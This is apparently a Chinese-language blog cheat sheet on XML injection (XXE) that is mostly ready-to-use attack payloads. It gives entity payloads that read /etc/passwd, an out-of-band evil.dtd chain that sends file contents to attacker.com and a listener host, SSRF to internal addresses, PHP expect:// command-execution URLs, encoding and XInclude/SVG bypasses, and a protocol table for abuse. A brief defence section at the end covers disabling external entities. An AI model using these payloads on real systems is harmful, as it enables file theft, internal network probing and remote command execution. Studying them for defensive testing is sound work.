XML注入总结

Mathieu 于 2024-03-30 发布

XML注入总结

说明

就是服务器配置不当导致解析恶意的XML并执行了恶意操作

分类说明

XXE读文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>&xxe;</name>
</root>

带外数据外泄 (OOB-XXE)

当目标应用程序没有直接返回文件内容时,可以通过外带通道(Out-of-Band)将数据发送到攻击者控制的服务器。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&exfil;</root>

evil.dtd (存放在 http://attacker.com/):

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY exfil SYSTEM 'http://attacker.com/steal?data=%data;'>">
%param;

SSRF

利用 XXE 让服务器发起内部网络请求,探测内网资源。

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin/"> 

特殊情况下RCE

在一些非常特定的环境下(如 PHP 的 expect:// 包装器被启用时),XXE 可能导致远程代码执行

条件:

  1. PHP 服务器必须安装并启用了 expect 扩展

    需要手动编译安装或通过包管理器(如 apt-get install php-expect)安装,并在 php.ini 中启用 extension=expect

  2. 启用 allow_url_include 选项(在 php.ini 中)。

    因为攻击通常通过 include()file_get_contents() 等文件包含函数来触发。

常见payload:

利用包装器本身的功能,通过 include() 或 file_get_contents() 函数来回显输出。

代码存在:

<?php echo file_get_contents($_GET['file']); ?>

payload:

http://vulnerable-site.com/vuln.php?file=expect://ls+-la+/home

代码:

<?php include($_GET['include_file']); ?>

payload:

http://vulnerable-site.com/vuln.php?include_file=expect://cat+/etc/passwd

常见协议总结

通用

协议 格式示例 用途说明 适用环境
file:// file:///etc/passwd 读取服务器本地文件 所有
http:// http://attacker.com/ 发起 HTTP 请求(SSRF) 所有
ftp:// ftp://attacker.com/file 通过 FTP 读取文件或外泄数据 多数
https:// https://internal.api/data 发起 HTTPS 请求 多数
php://filter php://filter/convert.base64-encode/resource=index.php 读取 PHP 文件并编码输出(避免解析) PHP
data:// data://text/plain;base64,SSBsb3ZlIFBIUAo= 在 URI 中直接嵌入数据 PHP (需 allow_url_include=On)
expect:// expect://id 执行系统命令 PHP (需启用 expect 扩展)
gopher:// gopher://attacker.com:80/_GET%20/index HTTP/1.1 发起自定义协议请求(强大SSRF) 多数 (需支持)
jar:// jar:file:///path/to/archive.zip!/file.txt 读取 ZIP/JAR 包中的文件 Java
netdoc:// netdoc:///etc/passwd 类似 file://,读取文件 Java

特有

PHP 环境特有

Java 环境特有

.NET 环境特有

绕过

  1. 编码:URL/XML实体编码

    XML实体:

     <!ENTITY xxe SYSTEM "file:///etc/passwd">
        
     <!DOCTYPE foo [
       <!ENTITY % aname "&#x46;&#x49;&#x4C;&#x45;:////&#x65;&#x74;&#x63;/&#x70;&#x61;&#x73;&#x73;&#x77;&#x64;">
       <!ENTITY % cname "<!ENTITY &#x25; dtd SYSTEM '%aname;'>">
       %cname;
       %dtd;
     ]>
    
  2. 替换file协议为上面的其他协议
  3. 带外 (Out-of-Band) 数据泄露绕过

    攻击流程分解:

    1. 攻击者在服务器上托管一个恶意的 DTD 文件 (evil.dtd)。
    2. 受害者服务器接收到一个 XML,该 XML 引用了攻击者的外部 DTD。
    3. 受害者服务器的解析器请求并解析 evil.dtd
    4. evil.dtd 中的指令被执行,它会读取服务器上的本地文件,并将文件内容作为 URL 的一部分,向攻击者的另一台服务器(监听服务器)发起请求。
    5. 攻击者在监听服务器的日志中看到请求,从而获得文件内容。

    Payload 实例:

    第 1 步:攻击者提交的初始 XML 负载 这个负载告诉受害者服务器去加载并解析 http://attacker.com/evil.dtd

     <?xml version="1.0" ?>
     <!DOCTYPE r [
       <!ENTITY % sp SYSTEM "http://attacker.com/evil.dtd">
       %sp;
     ]>
     <r>&exfil;</r>
    

    第 2 步:托管在 attacker.com 上的 evil.dtd 文件

     <!ENTITY % file SYSTEM "file:///etc/hostname">
        
     <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://listener.attacker.com/?content=%file;'>">
        
     %eval;
    

    工作原理解释:

    1. 受害者服务器解析初始 XML,发现参数实体 %sp,于是请求 http://attacker.com/evil.dtd
    2. 解析器开始解析 evil.dtd
    3. 它读取 %file 的定义,于是读取本地 /etc/hostname 文件,并将其内容(例如 victim-server-name)赋值给 %file
    4. 接着,它读取 %eval 的定义。%eval 的内容是一段字符串,这段字符串本身又是一个实体定义。注意这里的 &#x25;% 的 HTML 实体编码,这是为了防止解析器在这一步就尝试解析 %exfil
    5. 最后,%eval; 被执行。此时,%file 已经被替换为 victim-server-name,所以 %eval 的内容变成了: <!ENTITY % exfil SYSTEM 'http://listener.attacker.com/?content=victim-server-name'>
    6. 这个新构造出来的实体定义被解析器执行,它会向攻击者的监听服务器发起一个 HTTP 请求。
    7. 攻击者查看 listener.attacker.com 的 Web 日志,看到一条类似 GET /?content=victim-server-name HTTP/1.1 的记录,成功窃取了主机名。
  4. 绕过 Content-Type 限制 (例如 JSON API) 如果服务器支持 XInclude 规范,可以在一个看似合法的 JSON 值中嵌入一个 XInclude 负载。

     {
       "user_id": 123,
       "metadata": {
         "xi:include": {
           "@xmlns:xi": "http://www.w3.org/2001/XInclude",
           "@parse": "text",
           "@href": "file:///etc/passwd"
         }
       }
     }
    
  5. 使用非典型的XML格式

    SVG:

     <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
         <!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
         <text x="0" y="20" font-size="20">&xxe;</text>
     </svg>
    

防御

  1. 禁用外部实体
    • PHPlibxml_disable_entity_loader(true);
    • Java: 设置 DocumentBuilderFactory 的属性。

        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        // 或
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      
    • Python (lxml): 使用 resolve_entities=False 参数。
    • .NET: 设置 XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;
  2. 对输入的XML使用白名单校验
  3. 增加WAF